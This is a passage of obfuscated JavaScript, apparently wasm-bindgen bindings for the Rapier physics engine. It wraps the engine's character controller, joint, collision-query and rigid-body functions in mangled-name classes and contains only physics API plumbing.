_0x27ed05, _0x1ebe27) { _0x4cb6f6['rawkinematiccharactercontroller_enableAutostep'](this['ptr'], _0x2b75b4, _0x27ed05, _0x1ebe27); } ['disableAutostep']() { _0x4cb6f6['rawkinematiccharactercontroller_disableAutostep'](this['ptr']); } ['maxSlopeClimbAngle']() { return _0x4cb6f6['rawintegrationparameters_allowedLinearError'](this['ptr']); } ['setMaxSlopeClimbAngle'](_0x4381d2) { _0x4cb6f6['rawintegrationparameters_set_allowedLinearError'](this['ptr'], _0x4381d2); } ['minSlopeSlideAngle']() { return _0x4cb6f6['rawkinematiccharactercontroller_minSlopeSlideAngle'](this['ptr']); } ['setMinSlopeSlideAngle'](_0x17657e) { _0x4cb6f6['rawkinematiccharactercontroller_setMinSlopeSlideAngle'](this['ptr'], _0x17657e); } ['snapToGroundDistance']() { try { const _0xb6acea = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawkinematiccharactercontroller_snapToGroundDistance'](_0xb6acea, this['ptr']); var _0x277286 = _0x306da3()[_0xb6acea / 0x4 + 0x0], _0x42516a = _0x373de1()[_0xb6acea / 0x4 + 0x1]; return 0x0 === _0x277286 ? void 0x0 : _0x42516a; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } ['enableSnapToGround'](_0x514722) { _0x4cb6f6['rawkinematiccharactercontroller_enableSnapToGround'](this['ptr'], _0x514722); } ['disableSnapToGround']() { _0x4cb6f6['rawkinematiccharactercontroller_disableSnapToGround'](this['ptr']); } ['snapToGroundEnabled']() { return 0x0 !== _0x4cb6f6['rawkinematiccharactercontroller_snapToGroundEnabled'](this['ptr']); } ['computeColliderMovement'](_0x40e178, _0x24d61c, _0x2f068e, _0x5413d2, _0x233451, _0x5a2769, _0x3f979d, _0x4167ac, _0x188795, _0x3ed7c7, _0x35a1fd) { try { _0x200901(_0x24d61c, _0x4894b9), _0x200901(_0x2f068e, _0x11a0e3), _0x200901(_0x5413d2, _0x42e342), _0x200901(_0x5a2769, _0x581d34), _0x4cb6f6['rawkinematiccharactercontroller_computeColliderMovement'](this['ptr'], _0x40e178, _0x24d61c['ptr'], _0x2f068e['ptr'], _0x5413d2['ptr'], _0x233451, _0x5a2769['ptr'], _0x3f979d, !_0x5ca10b(_0x4167ac), _0x5ca10b(_0x4167ac) ? 0x0 : _0x4167ac, _0x188795, !_0x5ca10b(_0x3ed7c7), _0x5ca10b(_0x3ed7c7) ? 0x0 : _0x3ed7c7, _0x270afc(_0x35a1fd)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['computedMovement']() { const _0x4b5d25 = _0x4cb6f6['rawkinematiccharactercontroller_computedMovement'](this['ptr']); return _0x581d34['__wrap'](_0x4b5d25); } ['computedGrounded']() { return 0x0 !== _0x4cb6f6['rawkinematiccharactercontroller_computedGrounded'](this['ptr']); } ['numComputedCollisions']() { return _0x4cb6f6['rawkinematiccharactercontroller_numComputedCollisions'](this['ptr']) >>> 0x0; } ['computedCollision'](_0xfb57c9, _0x3d8a89) { return _0x200901(_0x3d8a89, _0x4941fc), 0x0 !== _0x4cb6f6['rawkinematiccharactercontroller_computedCollision'](this['ptr'], _0xfb57c9, _0x3d8a89['ptr']); } } class _0x5d41d9 { static ['__wrap'](_0x483f7c) { const _0x1962b3 = Object['create'](_0x5d41d9['prototype']); return _0x1962b3['ptr'] = _0x483f7c, _0x1962b3; } ['__destroy_into_raw']() { const _0x1b0bd7 = this['ptr']; return this['ptr'] = 0x0, _0x1b0bd7; } ['free']() { const _0xc91c5b = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawmultibodyjointset_free'](_0xc91c5b); } ['jointType'](_0x5ce131) { return _0x4cb6f6['rawmultibodyjointset_jointType'](this['ptr'], _0x5ce131) >>> 0x0; } ['jointFrameX1'](_0x3ff031) { const _0x37bfa8 = _0x4cb6f6['rawmultibodyjointset_jointFrameX1'](this['ptr'], _0x3ff031); return _0x58e6cd['__wrap'](_0x37bfa8); } ['jointFrameX2'](_0x5a53a2) { const _0x5dcc60 = _0x4cb6f6['rawmultibodyjointset_jointFrameX2'](this['ptr'], _0x5a53a2); return _0x58e6cd['__wrap'](_0x5dcc60); } ['jointAnchor1'](_0x3dd081) { const _0x5dffe5 = _0x4cb6f6['rawmultibodyjointset_jointAnchor1'](this['ptr'], _0x3dd081); return _0x581d34['__wrap'](_0x5dffe5); } ['jointAnchor2'](_0x17d6ed) { const _0x167a26 = _0x4cb6f6['rawmultibodyjointset_jointAnchor2'](this['ptr'], _0x17d6ed); return _0x581d34['__wrap'](_0x167a26); } ['jointContactsEnabled'](_0x492583) { return 0x0 !== _0x4cb6f6['rawmultibodyjointset_jointContactsEnabled'](this['ptr'], _0x492583); } ['jointSetContactsEnabled'](_0x22ed19, _0x17e5d2) { _0x4cb6f6['rawmultibodyjointset_jointSetContactsEnabled'](this['ptr'], _0x22ed19, _0x17e5d2); } ['jointLimitsEnabled'](_0x2e9c4b, _0x1c5639) { return 0x0 !== _0x4cb6f6['rawmultibodyjointset_jointLimitsEnabled'](this['ptr'], _0x2e9c4b, _0x1c5639); } ['jointLimitsMin'](_0x19b966, _0x1d2c12) { return _0x4cb6f6['rawmultibodyjointset_jointLimitsMin'](this['ptr'], _0x19b966, _0x1d2c12); } ['jointLimitsMax'](_0x495af1, _0x309653) { return _0x4cb6f6['rawmultibodyjointset_jointLimitsMax'](this['ptr'], _0x495af1, _0x309653); } constructor() { const _0x45d20a = _0x4cb6f6['rawmultibodyjointset_new'](); return _0x5d41d9['__wrap'](_0x45d20a); } ['createJoint'](_0x726ee8, _0x1c1322, _0x1f4b03, _0x26672f) { return _0x200901(_0x726ee8, _0x517f65), _0x4cb6f6['rawmultibodyjointset_createJoint'](this['ptr'], _0x726ee8['ptr'], _0x1c1322, _0x1f4b03, _0x26672f); } ['remove'](_0x107f37, _0x122da8) { _0x4cb6f6['rawmultibodyjointset_remove'](this['ptr'], _0x107f37, _0x122da8); } ['contains'](_0x26b4e0) { return 0x0 !== _0x4cb6f6['rawmultibodyjointset_contains'](this['ptr'], _0x26b4e0); } ['forEachJointHandle'](_0x486948) { try { _0x4cb6f6['rawmultibodyjointset_forEachJointHandle'](this['ptr'], _0x270afc(_0x486948)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['forEachJointAttachedToRigidBody'](_0x3ca11f, _0x1f31fb) { try { _0x4cb6f6['rawmultibodyjointset_forEachJointAttachedToRigidBody'](this['ptr'], _0x3ca11f, _0x270afc(_0x1f31fb)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } } class _0x201281 { static ['__wrap'](_0x4870bb) { const _0xa3a5ab = Object['create'](_0x201281['prototype']); return _0xa3a5ab['ptr'] = _0x4870bb, _0xa3a5ab; } ['__destroy_into_raw']() { const _0x5f5956 = this['ptr']; return this['ptr'] = 0x0, _0x5f5956; } ['free']() { const _0x289bff = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawnarrowphase_free'](_0x289bff); } constructor() { const _0x5412ac = _0x4cb6f6['rawnarrowphase_new'](); return _0x201281['__wrap'](_0x5412ac); } ['contacts_with'](_0xf0a093, _0x4912d7) { _0x4cb6f6['rawnarrowphase_contacts_with'](this['ptr'], _0xf0a093, _0x594304(_0x4912d7)); } ['contact_pair'](_0x2b510c, _0x4a9dd0) { const _0x2787f4 = _0x4cb6f6['rawnarrowphase_contact_pair'](this['ptr'], _0x2b510c, _0x4a9dd0); return 0x0 === _0x2787f4 ? void 0x0 : _0x34c723['__wrap'](_0x2787f4); } ['intersections_with'](_0x1700e7, _0x4cc4ae) { _0x4cb6f6['rawnarrowphase_intersections_with'](this['ptr'], _0x1700e7, _0x594304(_0x4cc4ae)); } ['intersection_pair'](_0x559a76, _0x438868) { return 0x0 !== _0x4cb6f6['rawnarrowphase_intersection_pair'](this['ptr'], _0x559a76, _0x438868); } } class _0xc494ff { static ['__wrap'](_0x2401c6) { const _0x1cd1ec = Object['create'](_0xc494ff['prototype']); return _0x1cd1ec['ptr'] = _0x2401c6, _0x1cd1ec; } ['__destroy_into_raw']() { const _0x4f36fc = this['ptr']; return this['ptr'] = 0x0, _0x4f36fc; } ['free']() { const _0x30329a = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawphysicspipeline_free'](_0x30329a); } constructor() { const _0x3389cf = _0x4cb6f6['rawphysicspipeline_new'](); return _0xc494ff['__wrap'](_0x3389cf); } ['step'](_0x3521d2, _0x3fa513, _0x54b1a9, _0x263355, _0x432b3e, _0x39aeaa, _0x334eb7, _0xd89b10, _0x83e2df, _0x317274) { _0x200901(_0x3521d2, _0x581d34), _0x200901(_0x3fa513, _0x280412), _0x200901(_0x54b1a9, _0x1bc447), _0x200901(_0x263355, _0x10d266), _0x200901(_0x432b3e, _0x201281), _0x200901(_0x39aeaa, _0x4894b9), _0x200901(_0x334eb7, _0x11a0e3), _0x200901(_0xd89b10, _0x7882f), _0x200901(_0x83e2df, _0x5d41d9), _0x200901(_0x317274, _0x4d94ea), _0x4cb6f6['rawphysicspipeline_step'](this['ptr'], _0x3521d2['ptr'], _0x3fa513['ptr'], _0x54b1a9['ptr'], _0x263355['ptr'], _0x432b3e['ptr'], _0x39aeaa['ptr'], _0x334eb7['ptr'], _0xd89b10['ptr'], _0x83e2df['ptr'], _0x317274['ptr']); } ['stepWithEvents'](_0x4f6b0b, _0x146093, _0x4a7320, _0x41aa4c, _0x2ff59a, _0x252db1, _0x3a5799, _0x3e5988, _0x577b94, _0x3dafb4, _0x2eb847, _0x9a2802, _0x2bbd2d, _0xbe66ed) { _0x200901(_0x4f6b0b, _0x581d34), _0x200901(_0x146093, _0x280412), _0x200901(_0x4a7320, _0x1bc447), _0x200901(_0x41aa4c, _0x10d266), _0x200901(_0x2ff59a, _0x201281), _0x200901(_0x252db1, _0x4894b9), _0x200901(_0x3a5799, _0x11a0e3), _0x200901(_0x3e5988, _0x7882f), _0x200901(_0x577b94, _0x5d41d9), _0x200901(_0x3dafb4, _0x4d94ea), _0x200901(_0x2eb847, _0x3bc242), _0x4cb6f6['rawphysicspipeline_stepWithEvents'](this['ptr'], _0x4f6b0b['ptr'], _0x146093['ptr'], _0x4a7320['ptr'], _0x41aa4c['ptr'], _0x2ff59a['ptr'], _0x252db1['ptr'], _0x3a5799['ptr'], _0x3e5988['ptr'], _0x577b94['ptr'], _0x3dafb4['ptr'], _0x2eb847['ptr'], _0x594304(_0x9a2802), _0x594304(_0x2bbd2d), _0x594304(_0xbe66ed)); } } class _0x5802a9 { static ['__wrap'](_0x386a82) { const _0x2a43d7 = Object['create'](_0x5802a9['prototype']); return _0x2a43d7['ptr'] = _0x386a82, _0x2a43d7; } ['__destroy_into_raw']() { const _0x278cb7 = this['ptr']; return this['ptr'] = 0x0, _0x278cb7; } ['free']() { const _0x5e5bdd = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawpointcolliderprojection_free'](_0x5e5bdd); } ['colliderHandle']() { return _0x4cb6f6['rawcontactforceevent_collider1'](this['ptr']); } ['point']() { const _0x4b09d5 = _0x4cb6f6['rawcontactforceevent_total_force'](this['ptr']); return _0x581d34['__wrap'](_0x4b09d5); } ['isInside']() { return 0x0 !== _0x4cb6f6['rawpointcolliderprojection_isInside'](this['ptr']); } ['featureType']() { return _0x4cb6f6['rawpointcolliderprojection_featureType'](this['ptr']) >>> 0x0; } ['featureId']() { try { const _0x3d247b = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawpointcolliderprojection_featureId'](_0x3d247b, this['ptr']); var _0x36fa0d = _0x306da3()[_0x3d247b / 0x4 + 0x0], _0x172e57 = _0x306da3()[_0x3d247b / 0x4 + 0x1]; return 0x0 === _0x36fa0d ? void 0x0 : _0x172e57 >>> 0x0; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } } class _0x34bd26 { static ['__wrap'](_0x388d0e) { const _0x1ab24e = Object['create'](_0x34bd26['prototype']); return _0x1ab24e['ptr'] = _0x388d0e, _0x1ab24e; } ['__destroy_into_raw']() { const _0x4d2329 = this['ptr']; return this['ptr'] = 0x0, _0x4d2329; } ['free']() { const _0xa02015 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawpointprojection_free'](_0xa02015); } ['point']() { const _0x2678bf = _0x4cb6f6['rawkinematiccharactercontroller_up'](this['ptr']); return _0x581d34['__wrap'](_0x2678bf); } ['isInside']() { return 0x0 !== _0x4cb6f6['rawpointprojection_isInside'](this['ptr']); } } class _0x42e342 { static ['__wrap'](_0x489e1a) { const _0x1eccfd = Object['create'](_0x42e342['prototype']); return _0x1eccfd['ptr'] = _0x489e1a, _0x1eccfd; } ['__destroy_into_raw']() { const _0x24039c = this['ptr']; return this['ptr'] = 0x0, _0x24039c; } ['free']() { const _0x2dfeb6 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawquerypipeline_free'](_0x2dfeb6); } constructor() { const _0x25605e = _0x4cb6f6['rawquerypipeline_new'](); return _0x42e342['__wrap'](_0x25605e); } ['update'](_0x36a27e, _0x46e10f) { _0x200901(_0x36a27e, _0x4894b9), _0x200901(_0x46e10f, _0x11a0e3), _0x4cb6f6['rawquerypipeline_update'](this['ptr'], _0x36a27e['ptr'], _0x46e10f['ptr']); } ['castRay'](_0x1a8843, _0x584452, _0x2910f3, _0x19f73e, _0x3463e7, _0x44b3ff, _0x250e2e, _0x4525f3, _0x29054f, _0x346446, _0x18f855) { try { _0x200901(_0x1a8843, _0x4894b9), _0x200901(_0x584452, _0x11a0e3), _0x200901(_0x2910f3, _0x581d34), _0x200901(_0x19f73e, _0x581d34); const _0x52cc40 = _0x4cb6f6['rawquerypipeline_castRay'](this['ptr'], _0x1a8843['ptr'], _0x584452['ptr'], _0x2910f3['ptr'], _0x19f73e['ptr'], _0x3463e7, _0x44b3ff, _0x250e2e, !_0x5ca10b(_0x4525f3), _0x5ca10b(_0x4525f3) ? 0x0 : _0x4525f3, !_0x5ca10b(_0x29054f), _0x5ca10b(_0x29054f) ? 0x0 : _0x29054f, !_0x5ca10b(_0x346446), _0x5ca10b(_0x346446) ? 0x0 : _0x346446, _0x270afc(_0x18f855)); return 0x0 === _0x52cc40 ? void 0x0 : _0x1baa79['__wrap'](_0x52cc40); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['castRayAndGetNormal'](_0x100987, _0x5980bd, _0x26f1cc, _0x57cb1d, _0x3ebab2, _0x4b90db, _0x45ee63, _0x3f11b9, _0x580949, _0x33835e, _0x4f041d) { try { _0x200901(_0x100987, _0x4894b9), _0x200901(_0x5980bd, _0x11a0e3), _0x200901(_0x26f1cc, _0x581d34), _0x200901(_0x57cb1d, _0x581d34); const _0x2d6e73 = _0x4cb6f6['rawquerypipeline_castRayAndGetNormal'](this['ptr'], _0x100987['ptr'], _0x5980bd['ptr'], _0x26f1cc['ptr'], _0x57cb1d['ptr'], _0x3ebab2, _0x4b90db, _0x45ee63, !_0x5ca10b(_0x3f11b9), _0x5ca10b(_0x3f11b9) ? 0x0 : _0x3f11b9, !_0x5ca10b(_0x580949), _0x5ca10b(_0x580949) ? 0x0 : _0x580949, !_0x5ca10b(_0x33835e), _0x5ca10b(_0x33835e) ? 0x0 : _0x33835e, _0x270afc(_0x4f041d)); return 0x0 === _0x2d6e73 ? void 0x0 : _0x1cd0be['__wrap'](_0x2d6e73); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['intersectionsWithRay'](_0x429919, _0x141ec9, _0x13271b, _0x5f16c5, _0x3ee01e, _0x2cac3f, _0x10bc7e, _0x4edd1c, _0x2fae96, _0x7cdb08, _0x55ece8, _0x426655) { try { _0x200901(_0x429919, _0x4894b9), _0x200901(_0x141ec9, _0x11a0e3), _0x200901(_0x13271b, _0x581d34), _0x200901(_0x5f16c5, _0x581d34), _0x4cb6f6['rawquerypipeline_intersectionsWithRay'](this['ptr'], _0x429919['ptr'], _0x141ec9['ptr'], _0x13271b['ptr'], _0x5f16c5['ptr'], _0x3ee01e, _0x2cac3f, _0x270afc(_0x10bc7e), _0x4edd1c, !_0x5ca10b(_0x2fae96), _0x5ca10b(_0x2fae96) ? 0x0 : _0x2fae96, !_0x5ca10b(_0x7cdb08), _0x5ca10b(_0x7cdb08) ? 0x0 : _0x7cdb08, !_0x5ca10b(_0x55ece8), _0x5ca10b(_0x55ece8) ? 0x0 : _0x55ece8, _0x270afc(_0x426655)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0, _0x1a55cb[_0x1015a8++] = void 0x0; } } ['intersectionWithShape'](_0x398b5a, _0x7d9663, _0x9a0f8a, _0x275978, _0x327628, _0xbe906e, _0x24c812, _0x3d137c, _0x12ac8f, _0x4a324f) { try { const _0x4c54c6 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x200901(_0x398b5a, _0x4894b9), _0x200901(_0x7d9663, _0x11a0e3), _0x200901(_0x9a0f8a, _0x581d34), _0x200901(_0x275978, _0x58e6cd), _0x200901(_0x327628, _0x141742), _0x4cb6f6['rawquerypipeline_intersectionWithShape'](_0x4c54c6, this['ptr'], _0x398b5a['ptr'], _0x7d9663['ptr'], _0x9a0f8a['ptr'], _0x275978['ptr'], _0x327628['ptr'], _0xbe906e, !_0x5ca10b(_0x24c812), _0x5ca10b(_0x24c812) ? 0x0 : _0x24c812, !_0x5ca10b(_0x3d137c), _0x5ca10b(_0x3d137c) ? 0x0 : _0x3d137c, !_0x5ca10b(_0x12ac8f), _0x5ca10b(_0x12ac8f) ? 0x0 : _0x12ac8f, _0x270afc(_0x4a324f)); var _0x45343a = _0x306da3()[_0x4c54c6 / 0x4 + 0x0], _0x18cadd = _0x3963d6()[_0x4c54c6 / 0x8 + 0x1]; return 0x0 === _0x45343a ? void 0x0 : _0x18cadd; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10), _0x1a55cb[_0x1015a8++] = void 0x0; } } ['projectPoint'](_0x38b9a0, _0x1c92d4, _0x319968, _0x133b54, _0x3a46a0, _0x3a35ee, _0x320298, _0x4c3795, _0x184f26) { try { _0x200901(_0x38b9a0, _0x4894b9), _0x200901(_0x1c92d4, _0x11a0e3), _0x200901(_0x319968, _0x581d34); const _0x4e4cbd = _0x4cb6f6['rawquerypipeline_projectPoint'](this['ptr'], _0x38b9a0['ptr'], _0x1c92d4['ptr'], _0x319968['ptr'], _0x133b54, _0x3a46a0, !_0x5ca10b(_0x3a35ee), _0x5ca10b(_0x3a35ee) ? 0x0 : _0x3a35ee, !_0x5ca10b(_0x320298), _0x5ca10b(_0x320298) ? 0x0 : _0x320298, !_0x5ca10b(_0x4c3795), _0x5ca10b(_0x4c3795) ? 0x0 : _0x4c3795, _0x270afc(_0x184f26)); return 0x0 === _0x4e4cbd ? void 0x0 : _0x5802a9['__wrap'](_0x4e4cbd); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['projectPointAndGetFeature'](_0x1f83db, _0x3a6f6f, _0x220f0d, _0x1570cd, _0x18b67e, _0x48993f, _0x187f42, _0x447702) { try { _0x200901(_0x1f83db, _0x4894b9), _0x200901(_0x3a6f6f, _0x11a0e3), _0x200901(_0x220f0d, _0x581d34); const _0x57fdd2 = _0x4cb6f6['rawquerypipeline_projectPointAndGetFeature'](this['ptr'], _0x1f83db['ptr'], _0x3a6f6f['ptr'], _0x220f0d['ptr'], _0x1570cd, !_0x5ca10b(_0x18b67e), _0x5ca10b(_0x18b67e) ? 0x0 : _0x18b67e, !_0x5ca10b(_0x48993f), _0x5ca10b(_0x48993f) ? 0x0 : _0x48993f, !_0x5ca10b(_0x187f42), _0x5ca10b(_0x187f42) ? 0x0 : _0x187f42, _0x270afc(_0x447702)); return 0x0 === _0x57fdd2 ? void 0x0 : _0x5802a9['__wrap'](_0x57fdd2); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['intersectionsWithPoint'](_0x42db2c, _0x4b0c65, _0x5f2a69, _0x59f525, _0x509951, _0x4d4de8, _0x141144, _0x4a0a71, _0x47f043) { try { _0x200901(_0x42db2c, _0x4894b9), _0x200901(_0x4b0c65, _0x11a0e3), _0x200901(_0x5f2a69, _0x581d34), _0x4cb6f6['rawquerypipeline_intersectionsWithPoint'](this['ptr'], _0x42db2c['ptr'], _0x4b0c65['ptr'], _0x5f2a69['ptr'], _0x270afc(_0x59f525), _0x509951, !_0x5ca10b(_0x4d4de8), _0x5ca10b(_0x4d4de8) ? 0x0 : _0x4d4de8, !_0x5ca10b(_0x141144), _0x5ca10b(_0x141144) ? 0x0 : _0x141144, !_0x5ca10b(_0x4a0a71), _0x5ca10b(_0x4a0a71) ? 0x0 : _0x4a0a71, _0x270afc(_0x47f043)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0, _0x1a55cb[_0x1015a8++] = void 0x0; } } ['castShape'](_0x4d4b98, _0x38e9a3, _0x163a7f, _0x50acdf, _0x53c9ec, _0x402089, _0x34b3a8, _0x84a7eb, _0x391406, _0x3284e2, _0x8dac21, _0x3b9324, _0x411f71) { try { _0x200901(_0x4d4b98, _0x4894b9), _0x200901(_0x38e9a3, _0x11a0e3), _0x200901(_0x163a7f, _0x581d34), _0x200901(_0x50acdf, _0x58e6cd), _0x200901(_0x53c9ec, _0x581d34), _0x200901(_0x402089, _0x141742); const _0x272fcd = _0x4cb6f6['rawquerypipeline_castShape'](this['ptr'], _0x4d4b98['ptr'], _0x38e9a3['ptr'], _0x163a7f['ptr'], _0x50acdf['ptr'], _0x53c9ec['ptr'], _0x402089['ptr'], _0x34b3a8, _0x84a7eb, _0x391406, !_0x5ca10b(_0x3284e2), _0x5ca10b(_0x3284e2) ? 0x0 : _0x3284e2, !_0x5ca10b(_0x8dac21), _0x5ca10b(_0x8dac21) ? 0x0 : _0x8dac21, !_0x5ca10b(_0x3b9324), _0x5ca10b(_0x3b9324) ? 0x0 : _0x3b9324, _0x270afc(_0x411f71)); return 0x0 === _0x272fcd ? void 0x0 : _0x2e77c7['__wrap'](_0x272fcd); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } ['intersectionsWithShape'](_0x608291, _0x47600a, _0x15b913, _0x2b41af, _0x3fe112, _0x1fbdc5, _0x4874c2, _0x115770, _0x3dc51d, _0x266a3e, _0x38cb43) { try { _0x200901(_0x608291, _0x4894b9), _0x200901(_0x47600a, _0x11a0e3), _0x200901(_0x15b913, _0x581d34), _0x200901(_0x2b41af, _0x58e6cd), _0x200901(_0x3fe112, _0x141742), _0x4cb6f6['rawquerypipeline_intersectionsWithShape'](this['ptr'], _0x608291['ptr'], _0x47600a['ptr'], _0x15b913['ptr'], _0x2b41af['ptr'], _0x3fe112['ptr'], _0x270afc(_0x1fbdc5), _0x4874c2, !_0x5ca10b(_0x115770), _0x5ca10b(_0x115770) ? 0x0 : _0x115770, !_0x5ca10b(_0x3dc51d), _0x5ca10b(_0x3dc51d) ? 0x0 : _0x3dc51d, !_0x5ca10b(_0x266a3e), _0x5ca10b(_0x266a3e) ? 0x0 : _0x266a3e, _0x270afc(_0x38cb43)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0, _0x1a55cb[_0x1015a8++] = void 0x0; } } ['collidersWithAabbIntersectingAabb'](_0x1e0fc6, _0xa91c65, _0x509732) { try { _0x200901(_0x1e0fc6, _0x581d34), _0x200901(_0xa91c65, _0x581d34), _0x4cb6f6['rawquerypipeline_collidersWithAabbIntersectingAabb'](this['ptr'], _0x1e0fc6['ptr'], _0xa91c65['ptr'], _0x270afc(_0x509732)); } finally { _0x1a55cb[_0x1015a8++] = void 0x0; } } } class _0x1cd0be { static ['__wrap'](_0x351385) { const _0x2e96b1 = Object['create'](_0x1cd0be['prototype']); return _0x2e96b1['ptr'] = _0x351385, _0x2e96b1; } ['__destroy_into_raw']() { const _0x510c6e = this['ptr']; return this['ptr'] = 0x0, _0x510c6e; } ['free']() { const _0x46ede9 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawraycolliderintersection_free'](_0x46ede9); } ['colliderHandle']() { return _0x4cb6f6['rawcontactforceevent_collider1'](this['ptr']); } ['normal']() { const _0x274f3a = _0x4cb6f6['rawraycolliderintersection_normal'](this['ptr']); return _0x581d34['__wrap'](_0x274f3a); } ['toi']() { return _0x4cb6f6['rawintegrationparameters_allowedLinearError'](this['ptr']); } ['featureType']() { return _0x4cb6f6['rawraycolliderintersection_featureType'](this['ptr']) >>> 0x0; } ['featureId']() { try { const _0x5d851b = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawraycolliderintersection_featureId'](_0x5d851b, this['ptr']); var _0x2f8a22 = _0x306da3()[_0x5d851b / 0x4 + 0x0], _0x4b47b5 = _0x306da3()[_0x5d851b / 0x4 + 0x1]; return 0x0 === _0x2f8a22 ? void 0x0 : _0x4b47b5 >>> 0x0; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } } class _0x1baa79 { static ['__wrap'](_0x59e4fd) { const _0x1462a4 = Object['create'](_0x1baa79['prototype']); return _0x1462a4['ptr'] = _0x59e4fd, _0x1462a4; } ['__destroy_into_raw']() { const _0x31d392 = this['ptr']; return this['ptr'] = 0x0, _0x31d392; } ['free']() { const _0x152a61 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawraycollidertoi_free'](_0x152a61); } ['colliderHandle']() { return _0x4cb6f6['rawcontactforceevent_collider1'](this['ptr']); } ['toi']() { return _0x4cb6f6['rawintegrationparameters_erp'](this['ptr']); } } class _0x423b25 { static ['__wrap'](_0x14de07) { const _0x2272b9 = Object['create'](_0x423b25['prototype']); return _0x2272b9['ptr'] = _0x14de07, _0x2272b9; } ['__destroy_into_raw']() { const _0x2c5360 = this['ptr']; return this['ptr'] = 0x0, _0x2c5360; } ['free']() { const _0xfbe357 = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawrayintersection_free'](_0xfbe357); } ['normal']() { const _0x387680 = _0x4cb6f6['rawkinematiccharactercontroller_up'](this['ptr']); return _0x581d34['__wrap'](_0x387680); } ['toi']() { return _0x4cb6f6['rawrayintersection_toi'](this['ptr']); } ['featureType']() { return _0x4cb6f6['rawpointcolliderprojection_featureType'](this['ptr']) >>> 0x0; } ['featureId']() { try { const _0x22b419 = _0x4cb6f6['__wbindgen_add_to_stack_pointer'](-0x10); _0x4cb6f6['rawpointcolliderprojection_featureId'](_0x22b419, this['ptr']); var _0x566179 = _0x306da3()[_0x22b419 / 0x4 + 0x0], _0xb8d9e9 = _0x306da3()[_0x22b419 / 0x4 + 0x1]; return 0x0 === _0x566179 ? void 0x0 : _0xb8d9e9 >>> 0x0; } finally { _0x4cb6f6['__wbindgen_add_to_stack_pointer'](0x10); } } } class _0x4894b9 { static ['__wrap'](_0x4d7e7a) { const _0x199150 = Object['create'](_0x4894b9['prototype']); return _0x199150['ptr'] = _0x4d7e7a, _0x199150; } ['__destroy_into_raw']() { const _0x328d80 = this['ptr']; return this['ptr'] = 0x0, _0x328d80; } ['free']() { const _0x5cf4ed = this['__destroy_into_raw'](); _0x4cb6f6['__wbg_rawrigidbodyset_free'](_0x5cf4ed); } ['rbTranslation'](_0x15632e) { const _0x520176 = _0x4cb6f6['rawrigidbodyset_rbTranslation'](this['ptr'], _0x15632e); return _0x581d34['__wrap'](_0x520176); } ['rbRotation'](_0x93cfd8) { const _0x390408 = _0x4cb6f6['rawrigidbodyset_rbRotation'](this['ptr'], _0x93cfd8); return _0x58e6cd['__wrap'](_0x390408); } ['rbSleep'](_0x3bfa88) { _0x4cb6f6['rawrigidbodyset_rbSleep'](this['ptr'], _0x3bfa88); } ['rbIsSleeping'](_0x107105) { return 0x0 !== _0x4cb6f6['rawrigidbodyset_rbIsSleeping'](this['ptr'], _0x107105); } ['rbIsMoving'](_0x3bc717) { return 0x0 !== _0x4cb6f6['rawrigidbodyset_rbIsMoving'](this['ptr'], _0x3bc717); } ['rbNextTranslation'](_0x220872) { const _0x212c59 = _0x4cb6f6['rawrigidbodyset_rbNextTranslation'](this['ptr'], _0x220872); return _0x581d34['__wrap'](_0x212c59); } ['rbNextRotation'](_0x39e025) { const _0x293959 = _0x4cb6f6['rawrigidbodyset_rbNextRotation'](this['ptr'], _0x39e025); return _0x58e6cd['__wrap'](_0x293959); } ['rbSetTranslation'](_0x124449, _0x411e62, _0x274ece, _0x54a712) { _0x4cb6f6['rawrigidbodyset_rbSetTranslation'](this['ptr'], _0x124449, _0x411e62, _0x274ece, _0x54a712); } ['rbSetRotation'](_0x4dcb68, _0x1d3bc4, _0x154c25) { _0x4cb6f6['rawrigidbodyset_rbSetRotation'](this['ptr'], _0x4dcb68, _0x1d3bc4, _0x154c25); } ['rbSetLinvel'](_0x2074fa, _0x2fec6e, _0x378b42) { _0x200901(_0x2fec6e, _0x581d34), _0x4cb6f6['rawrigidbodyset_rbSetLinvel'](this['ptr'], _0x2074fa, _0x2fec6e['ptr'], _0x378b42); } ['rbSetAngvel'](_0x32eeef, _0x46b6b9, _0x199777) { _0x4cb6f6['rawrigidbodyset_rbSetAngvel'](this['ptr'], _0x32eeef, _0x46b6b9, _0x199777); } ['rbSetNextKinematicTranslation'](_0x50b825, _0x283106, _0x511d3c) { _0x4cb6f6['rawrigidbodyset_rbSetNextKinematicTranslation'](this['ptr'], _0x50b825, _0x283106, _0x511d3c); } ['rbSetNextKinematicRotation'](_0x44e8d6, _0x15f722) { _0x4cb6f6['rawrigidbodyset_rbSetNextKinematicRotation'](this['ptr'], _0x44e8d6, _0x15f722); } ['rbRecomputeMassPropertiesFromColliders'](_0x2a6a5a, _0x4002eb) { _0x200901(_0x4002eb, _0x11a0e3), 